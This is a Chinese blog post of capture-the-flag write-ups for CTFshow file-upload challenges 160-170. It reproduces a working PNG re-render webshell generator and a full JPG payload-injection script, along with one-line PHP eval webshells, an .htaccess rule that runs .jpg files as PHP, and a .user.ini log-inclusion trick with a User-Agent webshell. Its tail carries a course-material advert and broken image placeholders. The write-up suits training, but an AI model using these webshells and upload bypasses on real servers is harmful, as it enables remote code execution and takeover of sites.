网络安全最全CTFshow web入门——文件上传_ctfshow文件上传(1)

最新推荐文章于 2024-07-21 14:30:49 发布
最新推荐文章于 2024-07-21 14:30:49 发布
阅读量2.3k 收藏 55
点赞数 38
分类专栏： 程序员 文章标签： web安全 前端 android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84301853/article/details/138442083
版权

解题思路：
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

Web 161

在160的基础上增加图片头即可，即 GIF89A

Web 162-163

目前了解有三种解法
一种是session包含，一个是远程文件包含，还有一种是data伪协议，不过要把伪协议代码用取反表示
伪协议
条件竞争-脚本
条件竞争-burpsuit

但是这几种方法我都没有出结果，悲伤…

Web 164

考点： png二次渲染

利用下方代码进行png二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

木马内容

<?$\_GET[0]($\_POST[1]);?>

imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件，可以不存在
会在目录下自动创建一个1.png图片
图片脚本内容：

$\_GET[0]($\_POST[1]);

使用方法：
例子：查看图片，get传入0=system；post传入tac flag.php

注：
运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在

<?php
if(extension\_loaded('gd')) {
echo '可以使用gd
';
foreach(gd\_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>

如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉
如php.ini中没有extension=php_gd.dll，自行添加即可

将生成的图片上传，bp抓包
在这里插入图片描述

Web 165

考点：jpg二次渲染

运用以下脚本进行jpg二次渲染绕过

<?php
$miniPayload = '<?=eval($\_POST[1]);?>';
if(!extension\_loaded('gd') || !function\_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg\_payload.php <jpg\_name.jpg>');
}
set\_error\_handler("custom\_error\_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file\_get\_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str\_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('\_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str\_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload\_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload\_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file\_put\_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}
function custom\_error\_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg\_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}
class DataInputStream {
    private $binData;
    private $order;
    private $size;
    public function \_\_construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file\_exists($filename) || !is\_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file\_get\_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }
    public function seek() {
        return ($this->size - strlen($this->binData));
    }
    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }
    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

先上传一张jpg图片然后下载到本地重命名为2.jpg，再用jpg脚本生成payload_2.jpg
在这里插入图片描述
a为文件名

php jpg二次渲染.php a.jpg

在上传payload_2.jpg，抓包
在这里插入图片描述

注：
jpg脚本需在linux环境下运行,我的系统为ubuntu

安装php

sudo apt-get install php

发现报错，需要重新寻找更新源
在这里插入图片描述
解决方法如下：

sudo vim sources.list

deb http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse 



sudo apt-get update
sudo apt-get install php

jpg脚本需要php-gd库，下面为下载流程
sudo apt-cache search php-gd（查询需要的php-gd版本）
sudo apt-get install php7.4-gd
sudo php -m（查看gd是否安装成功）

Web 166

发现只可以上传zip文件
在这里插入图片描述
在zip文件里加入一句话木马，上传抓包
在这里插入图片描述

在这里插入图片描述

Web 167

考点：Apache的包含解析

.htaccess进行绕过了
首先上传.htaccess

AddType application/x-httpd-php .jpg

在这里插入图片描述再上传一句话木马
在这里插入图片描述

在这里插入图片描述

Web 168

考点：免杀，过滤了好多执行函数

上传png文件抓包，修改文件后缀为php，加入免杀代码
在这里插入图片描述直接访问upload/1.php
查看源码即可得到flag
在这里插入图片描述

Web 169

考点：免杀，主要是过滤了php, <>等

创建index.php文件，因为日志文件内容将会在index.php中显现
在这里插入图片描述在UA中加入一句话木马
在这里插入图片描述

在这里插入图片描述phpinfo()可作为瞄点

在这里插入图片描述

Web 170

先上传一个zip，然后抓包，改Content-Type为image/png，可以传php等格式，但是发现文件内容过滤了 <> php $

发现可以上传 .user.ini 文件

GIF89A
auto_append_file="/var/log/nginx/access.log"

在这里插入图片描述

UA添加小马

<?php @eval($\_POST['shell']);?>

在这里插入图片描述

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取
3i8S4-1714805853292)]
[外链图片转存中…(img-K9o9WzQn-1714805853293)]
[外链图片转存中…(img-0pHDbO5u-1714805853294)]
[外链图片转存中…(img-oxYUjAFo-1714805853294)]
[外链图片转存中…(img-pRysSpRX-1714805853295)]
[外链图片转存中…(img-5uo4GQSq-1714805853295)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取

2401_84301853
关注
  • 38
    点赞
  • 踩
  • 55
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTF之web学习记录 -- 文件上传
lifanxin的博客
06-21 1394
文件上传概述一句话木马常见攻击手段JS检测绕过攻击总结 概述   所谓文件上传漏洞，就是web服务器对上传的文件没有做好检测和过滤，从而使得恶意用户可以上传脚本程序到服务器，进而获得服务器权限。这个恶意脚本文件，又被称为WebShell，因此也可以将WebShell脚本作为一种网页后门，一般通过上传的脚本文件，我们可以查看服务器的目录结构和文件，亦或者执行系统命令等。 一句话木马   这里先介绍web服务器没有对上传的文件进行任何检测的情况下，我们应该如何攻击。   利用一句话木马，即上传一句话木马脚本文件
[ctfshow]web入门——文件上传（web156-web163）
ShenZ的博客
03-18 5570
[ctfshow]web入门——文件上传 web156 上传.user.ini web157 web158 web159 web160 上传.user.ini+日志包含 web161 web162 way1：远程文件包含 way2：session条件竞争包含 web163 上传口 试了试upload界面有一个默认文件，可以用上传.user.ini的方法 后台应该是屏蔽了很多字符串（php
【CTF】文件上传（知识点+例题）(1)
qq_53099119的博客
03-23 5485
有的站点会出现仅进行了前端校验的情况（一切在前端做的安全防护，都是耍流氓），由于前端页面的源码是我们可以随意更改的，因此可以通过找到进行过滤的指令，更改成我们想要的功能即可。假设接下来就可以上传一个名为1.png的木马文件，植入后门，将其上传后，该文件虽文件后缀名为png，但会被当作php类型的文件进行解析，其中的一句话木马也能够被正常执行。因此，通过使用.user.ini，我们可以任意指定包含一个文件，这个文件可以是我们自己上传的木马文件，从而通过该木马文件提供后门来获取当前服务器的webshell。
CTF-文件上传（文件包含）总结
最新发布
2302_78903258的博客
07-21 1318
攻击者在入侵了一个网站后，通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起，然后使用浏览器来访问这些后门，得到一个命令执行环境，以达到控制网站服务器的目的（可以上传下载或者修改文件，操作数据库，执行任意命令等）。php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中，正常情况下，PHP会将用户输入的文件名进行resolve，转换成标准的绝对路径，这个转换的过程会将…来实现的，它会检查左侧的表达式是否为 null，如果是则使用右侧的默认值。以及 fd 怎么办呢？
【CTF-Web】文件上传漏洞学习笔记（ctfshow题目）
jayq1的博客
06-03 2536
文件上传漏洞学习笔记，ctfshow题目为依托
[HXPCTF 2021]includer‘s revenge
rev1ve的博客
11-12 428
这种情况下我们还是可以在对应的 /proc/PID/fd 下找到我们删除的文件 ，虽然显示是被删除了，但是我们依然可以读取到文件内容，所以我们可以直接用php 进行文件包含。但是最后一个问题就是，既然我们要去包含 Nginx 进程下的文件，我们就需要知道对应的 pid 以及 fd 下具体的文件名，怎么才能获取到这些信息呢？这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了，这里我们只需要本地搭个 Nginx 进程并启动，对比其进程的 proc 目录文件与其他进程文件区别就可以了。
CTFshow Web入门 文件上传
m0_62905261的博客
10-05 832
CTFshow Web入门 文件上传
2024年网络安全最全ctfshow-WEB-web5_ctfshow web5
2401_84281698的博客
05-03 520
ctf.show WEB模块第5关需要传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密,夺取flag页面中展示了部分源码,从源码中我们可以得知,想要夺旗需要通过GET请求传递两个参数v1和v2,并且参数v1必须是纯字母字符串,参数v2必须是数字或者数字字符串,并且两个参数的md5值必须相等。
[ctfshow]web入门——命令执行（web72-web77）
ShenZ的博客
12-02 2394
ctfshow的命令执行(web72-77)
[ctfshow]web入门——命令执行（web40-web53）
ShenZ的博客
11-29 1256
文章目录web40 web40 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $
ctfshow web入门 文件上传前篇(web151-web160)
ccfly1012的博客
09-17 1086
目录 web151-web152 web153 web154 web155 web156 web157-web159 web160 web161 web151-web152 首先写一个一句哈： <?php @eval($_POST["1"]);?> 然后修改文件后缀为png(题目限制)，上传文件同时进行抓包，然后修改后缀php，然后蚁剑连接，找到flag 拿到flag~~~~ web153 使用.user.ini绕过 .user.ini 摘抄...
小白的CTF之路之文件上传（二）
glass_york的博客
01-13 330
文件上传
ctf-web入门-文件上传
whisper921的博客
05-28 4102
Web 151 考点：后端无验证，前端校验 查看源码可以发现只能上传png图片 修改为php 写一个php文件上传一句话木马 可以发现已经成功上传 查看上级目录发现可疑文件 查看flag.php文件内容得出flag 得到flag Web 152 考点：绕过前端校验 解题思路： 经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端，后端会校验，文件不合格。那就抓包一下。 将Content-Type内容修改成image/png，重发，发现成...
CTF之文件上传
博客
07-25 789
练习平台 GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 https://github.com/c0ny1/upload-labs 参考链接 Upload-labs文件上传（11-19） - tdcoming’blog QQ group 906755997 - CSDN博客 https://blog.csdn.net/qq_29647709/...
CTF-文件上传
weixin_44770698的博客
12-18 276
CTF练习
CTFHub-Web-文件上传
qq_54037445的博客
11-29 3025
htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能；前端会验证，只能上传图片中列出的类型将文件名后缀含有的这些全部替换为空。
ctf技能树----文件上传
qq_44418229的博客
05-10 1134
ctf技能树----文件上传
ctf常见文件上传
qq_61988806的博客
03-03 5765
ctf文件上传
i春秋-CTF-web文件上传
在Web和Reverse坑里游泳中。。。。
04-27 1771
前言 本来吧，悄悄摸鱼，想整点啥打发时间，看视频太明显，于是做做题，眉头紧锁，仔细思考，装作工作很难的样子。 这回选择web类型的题目，主要是好久没做了，手有点生，找个简单的文件上传练练。 打开题目环境发现： 好像是没有什么特别的。 但是往下翻看却是别有洞天。 众所周知，php是后端语言，正常情况下前端是看不到的，也就是说，出题人还是很贴心的（虽然我觉得出题人没那么好心）。 <?php header("Content-Type:text/html; charset=utf.
ctfshow web入门文件上传
09-29
文件上传是CTF比赛中的一个常见挑战之一。其中一种方法是通过上传包含恶意代码的文件来绕过服务器的文件类型限制。比如，在上传图片时，可以同时上传一个名为.user.ini的文件，并在其中设置auto_append_file参数来包含木马文件。这样，每个PHP文件都会包含我们上传的恶意代码。 另一种方法是通过修改上传文件的Content-Type来绕过服务器对文件类型的过滤。比如，可以先上传一个zip文件，然后通过抓包工具修改请求的Content-Type为image/png，并将文件内容过滤的敏感字符替换掉，这样就能成功上传php等格式的文件。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值